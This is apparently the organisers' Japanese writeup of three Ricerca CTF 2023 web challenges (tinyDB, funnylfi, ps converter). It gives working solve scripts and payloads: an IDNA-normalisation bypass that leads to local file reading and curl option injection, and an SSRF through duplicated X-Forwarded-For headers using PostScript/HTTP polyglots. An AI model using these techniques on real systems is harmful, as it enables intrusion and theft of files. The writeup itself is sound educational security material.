Thursday, June 1, 2023

Ricerca CTF 2023 作問者Writeup [Web編]

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はWebカテゴリの問題のうち、warmupを除く問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

  また、他のジャンルのWriteupは以下の投稿から読むことができます。

tinyDB

問題・Writeup著者:xryuseix

問題概要

ユーザ管理DBがあります。このデータベースの機能は以下の通りです。

  • ユーザを検索
    • もしユーザがヒットすればそのユーザのロールを表示
    • ヒットしなければゲストとして新規作成
  • フラグを取得
    • Adminのユーザ名とパスワードを知っている人のみ

解法

まずデータベースのコードから見ていきます。AdminのパスワードadminPWcrypto.randomBytes(16).toString("hex")で実装されていますが、この値を推測することはできません。また、データベースはdb.type.tsMap<AuthT, gradeT>として実装されています。さらに、データベースは初期状態でadminが登録されています。

次にindex.tsを見ていきます。方針としては以下の二つが考えられます。

  • 誰かのユーザのロールをadminに昇格させる
  • adminユーザのパスワードを取得する

いずれにせよget_flagエンドポイントに対して攻撃を行うことは難しいため、一旦後回しにします。fastify関連のコードやHTML表示関連のコードも関係ないので同じく無視します。重要なコードに目星をつけるとこのあたりになります。

server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }
  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!
});

ここで、rollback関数に注意がいってしまいがちですが、重要なのはその前のif (userDB.size > 10)のブロック内の処理です。ユーザ数が多くなった時にデータベースを初期化していますが、ここでauthに注目します。authの流れは以下の通りです。

  1. guestauthを宣言
  2. guestauthをデータベースに保存
  3. authの中身をusername=admin, password=getAdminPW()に変更
  4. adminauthをデータベースに保存
  5. adminauthのパスワードをmaskし、出力

ここで、JavaScriptは変数にオブジェクトを代入すると、値がコピーされるのではなく、参照がコピーされます。 例えば、以下のコードではa.valを書き換えたのにbの値が書き換わっています(コードの引用元)。つまり、JavaScripはオブジェクトを別の変数へ代入する際に、参照渡しに近い挙動となります

var a = { val: 10 }
var b = a
a.val = 100
console.log(b) // { val: 100 }

Map.prototype.setも同じく、元のオブジェクトの参照がコピーされるため、以降authを書き換えるたびにデータベースの中身が常に書き換わっています

そのため、set_userへのアクセス10回に1回はadminのパスワードが"********************************"です。

ただし、adminのパスワードが書き換わるとロールバック処理が走ります。パスワードが変わったら数秒以内にget_flagエンドポイントにアクセスすればフラグが得られます。

Pythonで書かれたフラグを取得するためのコードを以下に示します。セッションを取得し、10回目のアクセスで{"username": "admin", "password": "********************************"}を送信しています。

import re
import requests
import json
import time

HOST = "tinydb.2023.ricercactf.com"
PORT = "8888"

domain = f"{HOST}:{PORT}"

res = requests.post(
    f"http://{domain}/set_user",
    json={"username": "abc"},
)
session = re.findall("sessionId=(.*?);", res.headers["Set-Cookie"])[0]

for i in range(9):
    res = requests.post(
        f"http://{domain}/set_user",
        json={"username": "abc"},
        headers={"Cookie": f"sessionId={session}"},
    )
    time.sleep(0.2)

    user = json.loads(res.text)
    if (
        user["authId"] == "admin"
        and user["authPW"] == "********************************"
    ):
        flag = requests.post(
            f"http://{domain}/get_flag",
            json={"username": "admin", "password": "********************************"},
            headers={"Cookie": f"sessionId={session}"},
        ).text
        print(flag)

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

 

funnylfi

問題・Writeup著者:satoki

所感

テーマが国際化ドメイン名 (IDN) の問題なのでWebに分類しましたが、Miscのパズル感も強いです。 国内のWeb・Miscのトップ層を3時間足止めできればと思い作りました。 SECCONのeasylfiをリスペクトしています。

解法

クエリパラメータ ?url= で指定したページを表示するようで、IDNにも対応しています。 配布された app.py の主要部分は以下のとおりです。

# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
    bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
    for c in url:
        try:
            if c.encode("idna").decode() in bad_chars:
                url = url.replace(c, "")
        except:
            continue
    return url

# Scheme Detector
def scheme_detector(url :str) -> bool:
    bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
                   "pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
    url = url.lower()
    for s in bad_schemes:
        if s in url:
            return True
    return False

# WAF
@app.after_request
def waf(response: Response):
    if b"RicSec" in b"".join(response.response):
        return Response("Hi, Hacker !!!!")
    return response

@app.route("/")
def funnylfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Super Secure Website Viewer.<br>Internationalized domain names are supported.<br>ex. <code>?url=ⓔxample.com</code>"
    if scheme_detector(url):
        return "Hi, Scheme man !!!!"
    try:
        proc = subprocess.run(
            f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "[error]: timeout"
    if proc.returncode != 0:
        return "[error]: curl"
    return proc.stdout

内部では、 encode("idna").decode() したURL (0x3fの制限あり) を subprocess.runcurl にそのまま渡しています。 配布ファイル flag があることや、問題名からもゴールはLFIだと考えられます。 また、配布ファイル Dockerfile から /var/www/flag にフラグが書かれていることがわかります。 Scheme Detector、Multibyte Characters Sanitizer、WAFの三種類のチェックがあるのでこれらをバイパスしてフラグを読みだす問題です。

Scheme Detectorの突破

ローカルのファイルを curl にて読み取る際、スキーム file:// が利用できます。 ただし、入力されたURLのスキームを検証しているScheme Detectorを突破しなければなりません。 ここでScheme Detectorは以下のとおりです。

# Scheme Detector
def scheme_detector(url :str) -> bool:
    bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
                   "pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
    url = url.lower()
    for s in bad_schemes:
        if s in url:
            return True
    return False

url.lower() により大文字 (ex. File:// ) による突破は難しそうです。 また、 curl の対応スキーム全てをチェックしており、比較の不備もなさそうに見えます。 

ここで、処理の流れとして、Scheme Detectorの後の curl に渡されるタイミングで、 encode("idna").decode() という処理が行われることに気付きます。 つまり、Scheme Detectorを通り抜け、 encode("idna").decode() によって file:// に変化する文字を使用すれば良いことになります。 サイト内の例にある ⓔxample.com からも分かるように、 などは e に変換されます。 したがって、この仕組みを使うことで、以下のようにScheme Detectorを突破することが可能です。

$ curl 'http://localhost:31415?url=file:///var/www/flag'
Hi, Scheme man !!!!
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag'
Hi, Hacker !!!!
$ curl 'http://localhost:31415?url=filⓔ:///etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~ 略 ~

無事に内部のファイルは読み取れましたが、 /var/www/flag は相変わらずWAFにブロックされています。

WAFの調査

WAFは以下のような単純な構成になっています。

# WAF
@app.after_request
def waf(response: Response):
    if b"RicSec" in b"".join(response.response):
        return Response("Hi, Hacker !!!!")
    return response

curl で読み取った内容に文字列 RicSec が含まれている場合に、レスポンスがブロックされます。 実装に不自然な箇所はないので、文字列を変更するといった手法でWAFを突破する必要がありそうです。

Multibyte Characters Sanitizerの突破

Scheme Detectorを突破できましたが、さらにMultibyte Characters Sanitizerの突破を試みてみましょう。 Multibyte Characters Sanitizerは以下のとおりです。

# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
    bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
    for c in url:
        try:
            if c.encode("idna").decode() in bad_chars:
                url = url.replace(c, "")
        except:
            continue
    return url

内部では encode("idna").decode() により、入力されたURLを一文字ずつASCII文字 (ACE) へ変換し、禁止された特殊文字 bad_chars に含まれていないことをチェックしています。 e に変換されたように、Multibyte Characters Sanitizerのチェックをすり抜けて、 curl のタイミングでの encode("idna").decode() で特殊文字になる非ASCII文字はないでしょうか。もし記号が使用できる場合は、LFIだけでなくOSコマンドインジェクションの可能性も出てきます。 

以下は、Multibyte Characters Sanitizerをパスし、再度 curl のタイミングでの encode("idna").decode() により bad_chars が含まれる入力を探すスクリプトです。 これを用いてMultibyte Characters Sanitizerの挙動を調査します。

for i in range(0xffff):
    try:
        ensc = mbc_sanitizer(chr(i)).encode("idna").decode()
        for c in "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c":
            if c in ensc:
                print(f"{i}: {ensc}")
                break
    except:
        continue

実行すると以下のようにいくつかヒットします。

161: xn--7a
162: xn--8a
163: xn--9a
164: xn--bba
165: xn--cba
166: xn--dba
167: xn--eba
168: xn-- -ccb
169: xn--gba
171: xn--iba
~ 略 ~

ACEのPrefixである xn-- の記号 - がヒットしてしまっているようです。 記号 -bad_chars に含まれているため、本来ブロックされるべきです。 

この結果より、Multibyte Characters Sanitizerでは encode("idna").decode() の結果が複数文字になるケースが考慮されていないことがわかります。 ここで、 xn-- -ccb にスペースが入っているという不審な点に気付きます。 これはUCDのNormalizationTest.txtにもあるように、正規化後にスペース (0x20) が含まれることが原因です。

curl 実行部分では subprocess.runshell=True で呼び出されており、URLがそのまま渡っているため、スペースで分割される場合には -ccb がオプションと解釈されることがわかります。 curl-ccb のオプションがあるかは不明だが、この箇所を上手く指定してやればファイルを外部に送信することが可能かもしれません。 幸いなことに、スペースが含まれる文字種が多数あることも、実行結果から分かります。

さらにPrefixを除いたものを探すため、 bad_chars が含まれる入力を探すスクリプトの if c in ensc:if c in ensc and not "xn--" in ensc: へ変更し再度実行してみましょう。

8252: !!
8263: ??
8264: ?!
8265: !?
9332: (1)
9333: (2)
~ 略 ~
9397: (z)
10868: ::=
10869: ==
10870: ===

などACEに変換した際に複数文字になるものがいくつか得られました。 これらの記号はMultibyte Characters Sanitizerにブロックされないため、URLとして利用可能です。しかし、残念ながらOSコマンドインジェクションは難しそうです。

WAFの突破

Multibyte Characters Sanitizerの突破により、 curl に任意のオプションを渡せる可能性があることがわかりました。 ここで、 curl に渡すことでWAFの突破や外部へのファイル送信が可能となるオプションを探しましょう。 マニュアルを見ると、 -F でファイル送信が可能なようですが、 encode("idna").decode() の結果が全て小文字であることにより利用できません。 小文字のオプションに絞って探すと、 -r によってバイトのRangeを指定できるようです。また、このオプションは file:// にも利用できます。 manにも以下のように書かれています。

-r, --range <range>
    (HTTP FTP SFTP FILE) Retrieve a byte range (i.e. a partial document) from  an  HTTP/1.1,  FTP  or  SFTP server or a local FILE. Ranges can be specified in a number of ways.

これを用いて -r1-r2 のような -rX の形をオプションとして渡すことができれば、 RicSec の先頭が読み飛ばされるのでWAFを突破できます。ここで encode("idna").decode() が文字列に対してどのような挙動を示すかを詳細に調査してみます。

$ python
>>> f"{chr(168)}".encode("idna").decode()
'xn-- -ccb'
>>> f"A{chr(168)}".encode("idna").decode()
'xn--a -vub'
>>> f"B{chr(168)}".encode("idna").decode()
'xn--b -vub'
>>> f"AA{chr(168)}".encode("idna").decode()
'xn--aa -fec'
>>> f"AAA{chr(168)}".encode("idna").decode()
'xn--aaa -ywc'
>>> f"AAA{chr(168)}A".encode("idna").decode()
'xn--aaa a-hgd'
>>> f"filⓔ:///var/www/flag{chr(168)}".encode("idna").decode()
'xn--file:///var/www/flag -6wl'

文字列の内容にではなく長さに依存することが分かります (厳密には chr(168) の位置) 。 また、先頭にPrefixである xn-- が、末尾にオプション (となる) -6wl が付加されるようです。 これにより、 filⓔ:// の前に xn-- が付加されるため、スキームが壊れる問題が発生します。 ただし、Prefixは各サブドメインの先頭に付加される仕様であるため、以下のとおり . を挿入してやればスキームを壊すことなくオプションを渡すことができます。

$ python
>>> f"filⓔ:///var/www/flag.{chr(168)}".encode("idna").decode()
'file:///var/www/flag.xn-- -ccb'

最後に問題となるのはファイル名です。 /var/www/flag を読み取りたいのですが、スキームを壊さないために挿入した . やPrefixである xn-- など余計なものが付いた結果、 var/www/flag.xn-- になってしまっています。 ここでさらに、 file:// にはクエリを付けても良いことを思い出しましょう。 以下のように実際の環境で試してみます。

$ curl file:///etc/passwd?satoki
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~ 略 ~

ただし、 ?bad_chars として禁止されています。 ここで、Multibyte Characters Sanitizerの突破において、利用可能な記号を調査した際の出力に 8263: ?? があったことを思い出します。。 これを ? として利用できないでしょうか。

$ python
>>> f"filⓔ:///var/www/flag{chr(8263)}.{chr(168)}".encode("idna").decode()
'file:///var/www/flag??.xn-- -ccb'

上手く ? として機能しているようです。 最後に、オプションを -rX の形にする必要があります。 実際は厳密に計算できますが、今回は総当たりを試みます。 文字列の内容にではなく長さに依存することより、文字数を増やしながらスペースが含まれる文字を探索してみましょう。

for i in range(0x3f):
    for j in range(0xffff):
        try:
            url = f"filⓔ:///var/www/flag{chr(8263)}.{'a'*i}{chr(j)}".encode("idna").decode()
            if (" " in url) and ("r" in url.split(" ")[1]):
                print(url)
                print(f"filⓔ:///var/www/flag{chr(8263)}.{'a'*i}{chr(j)}")
        except Exception as e:
            #print(e)
            continue

実行すると、大量の結果から以下の出力が得られます。

file:///var/www/flag??.xn--aaaaaaaaaaaaaaaaaaaaa -r1m
filⓔ:///var/www/flag⁇.aaaaaaaaaaaaaaaaaaaaa˛
r1 が上手く出てきています。 これをリクエストとして投げてやれば、WAFを突破してflagが取得できます。
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag'
Hi, Hacker !!!!
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag⁇.aaaaaaaaaaaaaaaaaaaaa˛'
icSec{mul71by73_ch4r4c73r5_5upp0r7_15_4_lurk1n6_vuln3r4b1l17y} 

ps converter

問題・Writeup著者:potetisensei

問題概要

Postscriptファイルを送るとPDFファイルに変換してくれるサービスです。


以下の図はサービスの構成を示しており、少々複雑であることがわかります:

解法

サービスは以下のような流れで稼働しています:

  1. ユーザーのリクエストが2つのリバースプロキシnginxとATS (Apache Traffic Server)を経由してからバックエンドのGoで書かれたサーバーに届きます。
  2. バックエンドは、与えられたPostscriptファイルをfrontendにあるデーモンに送信します。
  3. デーモンはps2pdfコマンドを実行し、結果(=変換されたPDFファイル)をバックエンドに返します。
  4. バックエンドは得られたPDFファイルをレスポンスとしてユーザーに返送します。

また、バックエンドはフラグを実際に保持しているflagサーバーと通信する機能を持っており、Client-IpヘッダがバックエンドサーバーのIPアドレスを示しているときに限り、/adminにHTTPリクエストを送信することによってフラグを得ることができます:

func handleAdmin(w http.ResponseWriter, req *http.Request) {
  check_err := func (err error) bool {
    if err != nil {
      w.Header().Set("Content-Type", "text/plain")
      w.WriteHeader(http.StatusInternalServerError)
      fmt.Fprintf(w, "Error occurred: %v\n", err)
      return true
    }
    return false
  }

  client_ip_str := req.Header.Get("Client-Ip")
  client_ip, err := net.ResolveIPAddr("ip", client_ip_str)
  if check_err(err) { return }
  my_ip, err := net.ResolveIPAddr("ip", "backend")
  if check_err(err) { return }

  if client_ip_str != "127.0.0.1" && !client_ip.IP.Equal(my_ip.IP) {
    fmt.Fprintln(w, "You are not allowed to see the flag!")
    return
  }

  res, err := http.PostForm("http://flag:3000/showmeflag", url.Values{}) 
  if check_err(err) { return }
  defer res.Body.Close()

  body, err := io.ReadAll(res.Body)
  if check_err(err) { return }

  w.Header().Set("Content-Type", "text/plain")
  w.WriteHeader(http.StatusOK)
  w.Write(body)
}

Client-IpヘッダはATSによって適切に設定されるため、単純にヘッダを偽造して/adminに接続してフラグを取得するといったことはできません。したがって、なんらかのもう少し複雑な攻撃を行う必要があるとわかります。

結論からいうと、複数の問題が重なることにより、バックエンドの以下のコード箇所においてSSRFが発生します:

// Seems fine. So now let's send the file to the ps2pdf daemon
  x_forwarded_for := req.Header.Get("X-Forwarded-For")
  ips := strings.Split(x_forwarded_for, ", ")
  ps2pdf := ips[len(ips)-1]
  tcp_addr, err := net.ResolveTCPAddr("tcp", ps2pdf + ":3000")
  conn, err := net.DialTCP("tcp", nil, tcp_addr)
  if check_err(err) { return }

もちろん、ps2pdfデーモンはfrontendに存在することがわかっているため、わざわざX-Forwarded-Forヘッダを用いてIPアドレスを取得する必要はないのですが、この処理単体が常に脆弱であるわけではありません。プロキシが適切に設定されていた場合には、この処理は回りくどいものの、問題ないといえます。では、どこに原因があったのでしょうか。

原因1. nginxの設定不備

今回の構成ではリバースプロキシとしてnginxがインターネットに露出していますが、nginxはX-Forwarded-Forヘッダを適切に処理・付与するように設定されていません。proxy_set_header X-Forwarded-For $remote_addr;の一文が記述されているべきでした。この一文が記述されていないことにより、ユーザーは任意の値を持ったX-Forwarded-ForヘッダをATSへ送信することができます。重要な点は、このときnginxは、重複した複数のX-Forwarded-Forヘッダがリクエストに含まれていても、それら全てをATSに送信してしまうということです。

原因2. ATSの挙動

ATSはプロキシとして稼働する際、デフォルトでX-Forwarded-ForヘッダにクライアントのIPアドレスを付加しますが、複数のX-Forwarded-Forヘッダがリクエストに含まれているとき、エラーを返したりヘッダを削除したりすることなく、最後のX-Forwarded-ForヘッダにIPアドレスを付加して、すべてのX-Forwarded-Forヘッダを転送してしまいます。

原因3. Header.Getの挙動

Goのnet/httpのHeader.Get()Header.Values()[0]と等価です。すなわち、同じ名前を持つヘッダが複数含まれていた場合、Header.Getでは1番初めのヘッダの値が返ります。よって、X-Forwarded-Forヘッダが複数存在した場合、ATSが編集したヘッダはバックエンドによって使われません。

これら3つの原因が重なることによって、例えば以下のリクエストを送ると、targetへのSSRFが発生します:

curl -F file=@a.ps \
     -H "X-Forwarded-for: target" \
     -H "X-Forwarded-for: dummy" \
     http://ps-converter.2023.ricercactf.com:51514/converter

さて、この脆弱性を利用してフラグを取得することを考えます。このSSRFで接続できるポートは3000番で固定であるため、SSRFで不正な通信を発生させられる接続先はproxy, backend, flagの3つに絞られます。また、SSRFで送信できるペイロードに制約があることにも注意する必要があります。バックエンドはps2pdfデーモンに接続する前に、ユーザーから受け取ったファイルが本当にPostscriptファイルとして有効であるかを確認しています:

  f, _, err := req.FormFile("file")
  if check_err(err) { return }
  defer f.Close()

  script, err := io.ReadAll(f)
  if check_err(err) { return }

  // First, check if the posted file is actually a Postscript file.
  // 1. check `file` output
  cmd := exec.Command("file", "-")
  cmd.Stdin = bytes.NewReader(script)
  var stdout1 bytes.Buffer
  var stderr1 bytes.Buffer
  cmd.Stdout = &stdout1
  cmd.Stderr = &stderr1

  err = cmd.Run()
  if check_err(err) { return }

  err_str1 := stderr1.String()
  if err_str1 != "" {
    w.Header().Set("Content-Type", "text/plain")
    w.WriteHeader(http.StatusInternalServerError)
    fmt.Fprintf(w, "file returned error: [redacted]\n")
    return
  }

  out_str1 := stdout1.String()
  if !strings.Contains(out_str1, "PostScript document text") {
    w.Header().Set("Content-Type", "text/plain")
    w.WriteHeader(http.StatusBadRequest)
    fmt.Fprintf(w, "Get out, poor hacker!\n")
    return
  }

  // 2. check if ps2ps can actually process the file
  cmd = exec.Command("ps2ps", "/dev/stdin", "/dev/stdout")
  cmd.Stdin = bytes.NewReader(script)
  var stdout2 bytes.Buffer
  var stderr2 bytes.Buffer
  cmd.Stdout = &stdout2
  cmd.Stderr = &stderr2

  err = cmd.Run()
  if check_err(err) { return }

  err_str2 := stderr2.String()
  if err_str2 != "" {
    w.Header().Set("Content-Type", "text/plain")
    w.WriteHeader(http.StatusInternalServerError)
    fmt.Fprintf(w, "ps2ps returned error: [redacted]\n")
    return
  } 

上記のコードによれば、バックエンドは与えられたファイルに対して、まずfileコマンドを実行して”PostScript document text”という出力になるかを確認し、その上でps2psコマンドが正常に終了するかを確認しています。一般にfileコマンドはファイルの先頭を見ることでファイルフォーマットを判断しているため、SSRFのペイロードの先頭が%!で始まる必要が生じます。

実は、例えば#!PostScript document textのように、「Postscriptファイル以外のファイルフォーマットと認識させつつ”PostScript document text”と出力させる方法」も存在していますが、ペイロードに制約が付くという点であまり状況は変わらないでしょう(ひょっとすると、ヘッダに自由な値が含められるファイルフォーマットによる別解はあるかもしれません)。

さて、素直に%!をペイロードの先頭にすることにしてSSRFの利用方法を考えます。この制約によって、まずSSRF先としてflagが使えないことがわかります。Pythonのhttp.serverモジュールはATS, Goのnet/httpとは異なり、HTTPリクエストに含まれる異常な値に最も敏感です。したがって、%!から始まるペイロードをflag:3000に対してHTTPリクエストとして送信したところで、エラーが発生するだけになります。一方、ATSおよびnet/httpはメソッド名に対して寛容であり、メソッド名に記号が含まれていてもHTTPリクエストとして受理します。特に、net/httpはリバースプロキシではないにも関わらず任意のメソッド名を受け付ける点で特異であるといえます。基本的にnginxや他のプログラミング言語のWebサーバーにはこのような挙動は見られません。

さて、残るSSRF先としてはproxy, backendがありますが、実はどちらを利用してもこの問題を解くことが可能です。

解法1. ATSの性質を利用する

想定解ではproxyに対してSSRFし、ATSの性質をうまく用いることで、Postscriptファイルとしても有効でありながらバックエンドにHTTPリクエストとして正常に処理されるペイロードを作成します。まず、素直に以下のようなペイロードを作成してみると、proxyやbackendには受理してもらえる一方で、ps2psコマンドが失敗することがわかります:

$ cat a.ps
%!PS /converter/admin HTTP/1.1
Host: proxy:3000

$ ps2ps a.ps /dev/null
Error: /undefined in Host:
Operand stack:

Execution stack:
   %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   1990   1   3   %oparray_pop   1989   1   3   %oparray_pop   1977   1   3   %oparray_pop   1833   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--
Dictionary stack:
   --dict:764/1123(ro)(G)--   --dict:0/20(G)--   --dict:75/200(L)--
Current allocation mode is local
Current file position is 28
GPL Ghostscript 9.55.0: Unrecoverable error, exit code 1

Postscriptが空白区切りの逆ポーランド記法で記述されることは有名ですが、Host:が変数名であると認識されてしまい、未定義エラーが発生しています。変数の定義は/変数名 値 defという命令列によってできるため、ヘッダとして/Host: 1 defを含めることで未定義エラーを回避できそうですが、ヘッダ名に/を含めることはRFC上・実際の一般的なWebサーバーの実装上のどちらにおいても禁止されており、うまく行かないように思えます。事実、backendにこのようなヘッダを含むリクエストを送信しても400エラーが返されます。

しかし、実はこのリクエストをそのままproxyに対して送信することでこの問題を解くことが可能です。nginxやATSに見られるリバースプロキシとしての特殊な挙動として「ヘッダ名に記号が含まれている場合、それをサイレントに取り除いてフォワードする」というものがあります。よって、上述のようなPostscript中で変数を定義するために用いられたヘッダは、ATSによって削除されてbackendには到達しないため、backendがHTTPリクエストとして正常に解釈します。すなわち、以下のようなスクリプトが想定解となります:

$ cat poly.ps 
%!PS /admin HTTP/1.1
/Host: 1 def
/proxy:3000 1 def
Host: proxy:3000

$ cat solve.sh 
#!/bin/bash
curl -F file=@poly.ps \
-H "X-Forwarded-for: 123.45.67.101" \
-H "X-Forwarded-for: 123.45.67.101" \
http://ps-converter.2023.ricercactf.com:51514/converter>

解法2. net/httpの性質を利用する

また、社内でレビュー中に発見された非想定の解法として、backendに直接ペイロードを送る解法が挙げられます。Goのnet/httpの特殊な性質として、値が複数行にまたがったヘッダを受け付けるというものがあります。これは、RFCにも記載のある機能な一方で、現在ではdeprecatedな仕様であり、ほとんどのWebサーバーはサポートしていません。net/httpはこれをサポートしているため、以下のようなペイロードでフラグを得ることが可能です:

%!S /admin HTTP/1.1
%:
    /Host: 0 def
    /123.45.67.102 0 def
    /Client-Ip: 0 def
    /127.0.0.1 0 def
Host: 123.45.67.102
Client-Ip: 127.0.0.1

解法3. quit命令を活用する

更に、参加された方のwriteupによって、よりシンプルな解法が存在することがわかりました。Postscriptはquit命令によってインタプリタの実行を終了させることができます。また、上記のペイロードを見てもわかるとおり、net/httpは%をヘッダ名に含んでも受け付けるため、以下のようなスクリプトをbackendに送ることでフラグが得られます:

%!GET /admin HTTP/1.1
quit%: dummy
Host: backend
Client-Ip: 127.0.0.1
 

No comments:

Post a Comment